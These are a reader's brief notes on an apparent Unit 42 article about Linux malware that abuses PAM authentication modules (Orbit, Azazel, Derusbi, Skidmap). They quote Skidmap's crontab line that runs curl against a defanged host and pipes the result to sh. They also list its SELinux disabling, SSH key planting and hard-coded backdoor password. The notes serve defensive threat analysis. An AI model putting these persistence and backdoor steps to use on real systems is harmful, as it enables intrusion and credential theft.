When PAM Goes Rogue: Malware Uses Authentication Modules for Mischief
by Siddharth Sharma
Unit 42/Palo Alto Networks, 2023
https://unit42.paloaltonetworks.com/linux-pam-apis/
Notes |
---|
PAM |
PAM API hooking |
Advanced WildFire for Linux |
passwd, shadow files. |
pam_unix |
libpam |
Orbit malware |
Orbit was discovered in 2022 |
hooks pam_open_session, pam_authenticate, and pam_acct_mgr |
pam_open_session initiates a new session for the user on successful authentication |
pam_authenticate handles the user authentication process |
pam_acct_mgmt manages user account information; account has expired, user is allowed to access system at a specific time, … |
logs credentials to a file |
https://intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/ |
Azazel rootkit |
open-source |
targets older Linux kernels |
LD_PRELOAD |
hooks pam_open_session, pam_authenticate, and pam_acct_mgmt |
2ad5993cf4db52ef72e299590d79dd7414bc3b119f5d8be8274ad89bec4cbbae |
Derusbi malware |
targets Linux and Windows |
LD_PRELOAD |
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/2015.12.15.Newcomers_in_the_Derusbi_family/Newcomers-in-the-Derusbi-family.pdf |
Skidmap malware |
first seen 2019 |
replaces pam_unix.so with a malicious copy |
https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html |
cryptocurrency-mining malware |
LD_PRELOAD rootkit |
cybercrime |
installs as a crontab: */1 * * * * curl -fsSL hxxp://pm[.]ipfswallet[.]tk/pm.sh \ sh |
pm.sh downloads a binary named “pc” using wget or curl |
uses setenforce 0 to disable SELinux |
adds SELINUX=disabled, SELINUXTYPE=targeted to /etc/selinux/conf |
adds a public key to SSH authorized_keys file |
replaces pam_unix.so with a malicious copy |
sets root’s .ssh/authorized_keys file immutable using system() |
hard-coded password in pam_unix: Mtm$%889*G*S3%G |
“user:password@host –> %s %s\n” string |
logs to /usr/include/ilog.h |
writes payload to /tmp/miner2 |
uses tar command |
decrypts malicious payload using openssl command |
replaces ‘rm’ command with one that re-installs crontab persistence |
/usr/bin/kaudited drops and installs an LKM rootkit |
uses different modules for specific kernel versions to avoid crashing the host |
installs a watchdog app for its miner component |
iproute module hooks getdents to hide specific files and directories |
“hacked_getdents” |
netlink module fakes network traffic statistics related to certain IP addresses and ports and CPU usageof some processes (pamdicks process) |
Indicators of Compromise (IoCs) |